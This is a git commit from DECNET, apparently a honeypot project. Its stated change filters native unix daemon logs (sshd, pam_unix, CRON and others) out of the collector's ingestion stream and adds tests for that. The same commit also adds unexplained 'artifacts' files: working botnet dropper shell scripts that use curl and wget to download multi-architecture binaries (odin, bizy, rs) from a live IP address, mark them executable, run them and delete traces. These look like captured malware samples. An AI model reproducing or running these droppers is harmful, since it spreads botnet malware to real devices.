feat(collector): drop native unix daemon syslog from ingestion
sshd, pam_unix, sudo, CRON, systemd, kernel, rsyslogd, and dbus-daemon all share the SSH/telnet decky containers and write to the same syslog socket as DECNET's own emitters. Their output was being parsed and ingested into the JSON stream, the dashboard, and the profiler — pure noise: sshd's "Failed password for root from X" duplicates the auth-helper's structured auth_attempt event, pam_unix repeats it again, CRON/systemd say nothing about attacker behavior. Drop these APP-NAMEs in _should_ingest before the JSON write and bus publish. Raw .log file still captures everything for forensics. The denylist is overridable with DECNET_COLLECTOR_DROP_APPS so operators can extend it without code changes.
This commit is contained in:
3
artifacts/curl.sh
Normal file
3
artifacts/curl.sh
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
[0] Downloading 'http://31.56.209.39/curl.sh' ...
|
||||||
|
Saving 'curl.sh.1'
|
||||||
|
HTTP response 200 OK [http://31.56.209.39/curl.sh]
|
||||||
46
artifacts/curl.sh.1
Normal file
46
artifacts/curl.sh.1
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
ulimit -n 4096
|
||||||
|
ulimit -n 999999
|
||||||
|
ulimit -v 2097152
|
||||||
|
cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
|
||||||
|
rm -rf odin*
|
||||||
|
rm -rf bizy*
|
||||||
|
rm -rf rs*
|
||||||
|
rm -rf *.sh
|
||||||
|
|
||||||
|
#curl http://31.56.209.39/rs.arm -o rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
|
||||||
|
#curl http://31.56.209.39/rs.arm5 -o rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
|
||||||
|
#curl http://31.56.209.39/rs.arm6 -o rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
|
||||||
|
#curl http://31.56.209.39/rs.arm7 -o rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
|
||||||
|
#curl http://31.56.209.39/rs.mips -o rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
|
||||||
|
#curl http://31.56.209.39/rs.mipsle -o rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
|
||||||
|
#curl http://31.56.209.39/rs.mipsSF -o rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
|
||||||
|
#curl http://31.56.209.39/rs.mipsleSF -o rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
|
||||||
|
#curl http://31.56.209.39/rs.x86 -o rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
|
||||||
|
#curl http://31.56.209.39/rs.x64 -o rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
|
||||||
|
|
||||||
|
curl http://31.56.209.39/odin.arm -o odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.curl
|
||||||
|
curl http://31.56.209.39/odin.arm5 -o odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.curl
|
||||||
|
curl http://31.56.209.39/odin.arm5n -o odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.curl
|
||||||
|
curl http://31.56.209.39/odin.arm6 -o odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.curl
|
||||||
|
curl http://31.56.209.39/odin.arm7 -o odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.curl
|
||||||
|
curl http://31.56.209.39/odin.m68k -o odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.curl
|
||||||
|
curl http://31.56.209.39/odin.mips -o odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.curl
|
||||||
|
curl http://31.56.209.39/odin.mpsl -o odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.curl
|
||||||
|
curl http://31.56.209.39/odin.ppc -o odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.curl
|
||||||
|
curl http://31.56.209.39/odin.sh4 -o odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.curl
|
||||||
|
curl http://31.56.209.39/odin.spc -o odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.curl
|
||||||
|
curl http://31.56.209.39/odin.x64 -o odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.curl
|
||||||
|
curl http://31.56.209.39/odin.x86 -o odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.curl
|
||||||
|
|
||||||
|
curl http://31.56.209.39/bizy.arm5 -o bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
|
||||||
|
curl http://31.56.209.39/bizy.arm6 -o bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
|
||||||
|
curl http://31.56.209.39/bizy.arm7 -o bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
|
||||||
|
curl http://31.56.209.39/bizy.arm8 -o bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
|
||||||
|
curl http://31.56.209.39/bizy.mips -o bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
|
||||||
|
curl http://31.56.209.39/bizy.mpsl -o bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
|
||||||
|
curl http://31.56.209.39/bizy.mipss -o bizy.mipss; chmod +x bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss;
|
||||||
|
curl http://31.56.209.39/bizy.mpsls -o bizy.mpsls; chmod +x bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls;
|
||||||
|
curl http://31.56.209.39/bizy.riscv -o bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
|
||||||
|
curl http://31.56.209.39/bizy.x86 -o bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
|
||||||
|
curl http://31.56.209.39/bizy.x64 -o bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
|
||||||
3
artifacts/evil.sh
Normal file
3
artifacts/evil.sh
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
wget http://31.56.209.39/wget.sh -o wget.sh
|
||||||
|
|
||||||
|
wget http://31.56.209.39/curl.sh -o curl.sh
|
||||||
3
artifacts/wget.sh
Normal file
3
artifacts/wget.sh
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
[0] Downloading 'http://31.56.209.39/wget.sh' ...
|
||||||
|
Saving 'wget.sh.1'
|
||||||
|
HTTP response 200 OK [http://31.56.209.39/wget.sh]
|
||||||
46
artifacts/wget.sh.1
Normal file
46
artifacts/wget.sh.1
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
ulimit -n 4096
|
||||||
|
ulimit -n 999999
|
||||||
|
ulimit -v 2097152
|
||||||
|
cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
|
||||||
|
rm -rf odin*
|
||||||
|
rm -rf bizy*
|
||||||
|
rm -rf rs*
|
||||||
|
rm -rf *.sh
|
||||||
|
|
||||||
|
wget http://31.56.209.39/rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
|
||||||
|
wget http://31.56.209.39/rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
|
||||||
|
wget http://31.56.209.39/rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
|
||||||
|
wget http://31.56.209.39/rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
|
||||||
|
wget http://31.56.209.39/rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
|
||||||
|
wget http://31.56.209.39/rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
|
||||||
|
wget http://31.56.209.39/rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
|
||||||
|
wget http://31.56.209.39/rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
|
||||||
|
wget http://31.56.209.39/rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
|
||||||
|
wget http://31.56.209.39/rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
|
||||||
|
|
||||||
|
wget http://31.56.209.39/odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.wget
|
||||||
|
wget http://31.56.209.39/odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.wget
|
||||||
|
wget http://31.56.209.39/odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.wget
|
||||||
|
wget http://31.56.209.39/odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.wget
|
||||||
|
wget http://31.56.209.39/odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.wget
|
||||||
|
wget http://31.56.209.39/odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.wget
|
||||||
|
wget http://31.56.209.39/odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.wget
|
||||||
|
wget http://31.56.209.39/odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.wget
|
||||||
|
wget http://31.56.209.39/odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.wget
|
||||||
|
wget http://31.56.209.39/odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.wget
|
||||||
|
wget http://31.56.209.39/odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.wget
|
||||||
|
wget http://31.56.209.39/odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.wget
|
||||||
|
wget http://31.56.209.39/odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.wget
|
||||||
|
|
||||||
|
wget http://31.56.209.39/bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
|
||||||
|
wget http://31.56.209.39/bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
|
||||||
|
wget http://31.56.209.39/bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
|
||||||
|
wget http://31.56.209.39/bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
|
||||||
|
wget http://31.56.209.39/bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
|
||||||
|
wget http://31.56.209.39/bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
|
||||||
|
wget http://31.56.209.39/bizy.mipss; chmod +x ./bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss
|
||||||
|
wget http://31.56.209.39/bizy.mpsls; chmod +x ./bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls
|
||||||
|
wget http://31.56.209.39/bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
|
||||||
|
wget http://31.56.209.39/bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
|
||||||
|
wget http://31.56.209.39/bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
|
||||||
BIN
decnet.tar
Normal file
BIN
decnet.tar
Normal file
Binary file not shown.
@@ -75,6 +75,21 @@ _RL_EVENT_TYPES: frozenset[str] = frozenset(
|
|||||||
)
|
)
|
||||||
_RL_MAX_ENTRIES: int = 10_000
|
_RL_MAX_ENTRIES: int = 10_000
|
||||||
|
|
||||||
|
# APP-NAMEs we never want to see in the ingestion stream — native unix
|
||||||
|
# daemons that share a container with a DECNET service. Their logs are
|
||||||
|
# noise: sshd's "Failed password for root from X" duplicates the
|
||||||
|
# auth-helper's structured `auth_attempt` event, pam_unix repeats it
|
||||||
|
# again, and CRON/systemd/etc. say nothing about attacker behavior.
|
||||||
|
# Override or extend with DECNET_COLLECTOR_DROP_APPS (comma list).
|
||||||
|
_DROP_APPS: frozenset[str] = frozenset(
|
||||||
|
a.strip()
|
||||||
|
for a in os.environ.get(
|
||||||
|
"DECNET_COLLECTOR_DROP_APPS",
|
||||||
|
"sshd,pam_unix,sudo,su,CRON,cron,systemd,kernel,rsyslogd,dbus-daemon",
|
||||||
|
).split(",")
|
||||||
|
if a.strip()
|
||||||
|
)
|
||||||
|
|
||||||
_rl_lock: threading.Lock = threading.Lock()
|
_rl_lock: threading.Lock = threading.Lock()
|
||||||
_rl_last: dict[tuple[str, str, str, str], float] = {}
|
_rl_last: dict[tuple[str, str, str, str], float] = {}
|
||||||
|
|
||||||
@@ -82,10 +97,11 @@ _rl_last: dict[tuple[str, str, str, str], float] = {}
|
|||||||
def _should_ingest(parsed: dict[str, Any]) -> bool:
|
def _should_ingest(parsed: dict[str, Any]) -> bool:
|
||||||
"""
|
"""
|
||||||
Return True if this parsed event should be written to the JSON ingestion
|
Return True if this parsed event should be written to the JSON ingestion
|
||||||
stream. Rate-limited connection-lifecycle events return False when another
|
stream. Drops native unix daemon noise (sshd, pam_unix, …) outright;
|
||||||
event with the same (attacker_ip, decky, service, event_type) was emitted
|
rate-limits connection-lifecycle events within a dedup window.
|
||||||
inside the dedup window.
|
|
||||||
"""
|
"""
|
||||||
|
if parsed.get("service", "") in _DROP_APPS:
|
||||||
|
return False
|
||||||
event_type = parsed.get("event_type", "")
|
event_type = parsed.get("event_type", "")
|
||||||
if _RL_WINDOW_SEC <= 0.0 or event_type not in _RL_EVENT_TYPES:
|
if _RL_WINDOW_SEC <= 0.0 or event_type not in _RL_EVENT_TYPES:
|
||||||
return True
|
return True
|
||||||
|
|||||||
@@ -602,6 +602,20 @@ class TestIngestRateLimiter:
|
|||||||
assert _should_ingest(self._event(event_type="login_attempt")) is True
|
assert _should_ingest(self._event(event_type="login_attempt")) is True
|
||||||
assert _should_ingest(self._event(event_type="request")) is True
|
assert _should_ingest(self._event(event_type="request")) is True
|
||||||
|
|
||||||
|
def test_native_sshd_logs_dropped(self):
|
||||||
|
# sshd's "Failed password / Accepted password" prose duplicates the
|
||||||
|
# auth-helper's structured event_type=auth_attempt and is unwanted.
|
||||||
|
assert _should_ingest(self._event(service="sshd", event_type="-")) is False
|
||||||
|
|
||||||
|
def test_pam_and_other_unix_noise_dropped(self):
|
||||||
|
for noisy in ("pam_unix", "sudo", "CRON", "systemd", "kernel", "rsyslogd"):
|
||||||
|
assert _should_ingest(self._event(service=noisy)) is False, noisy
|
||||||
|
|
||||||
|
def test_decnet_services_pass(self):
|
||||||
|
# Real DECNET emitters keep flowing — service ∈ {ssh, http, bash, …}.
|
||||||
|
for ok in ("ssh", "http", "ftp", "bash", "auth-helper", "sessrec", "mutator"):
|
||||||
|
assert _should_ingest(self._event(service=ok, event_type="login_attempt")) is True, ok
|
||||||
|
|
||||||
def test_first_connect_passes(self):
|
def test_first_connect_passes(self):
|
||||||
assert _should_ingest(self._event()) is True
|
assert _should_ingest(self._event()) is True
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user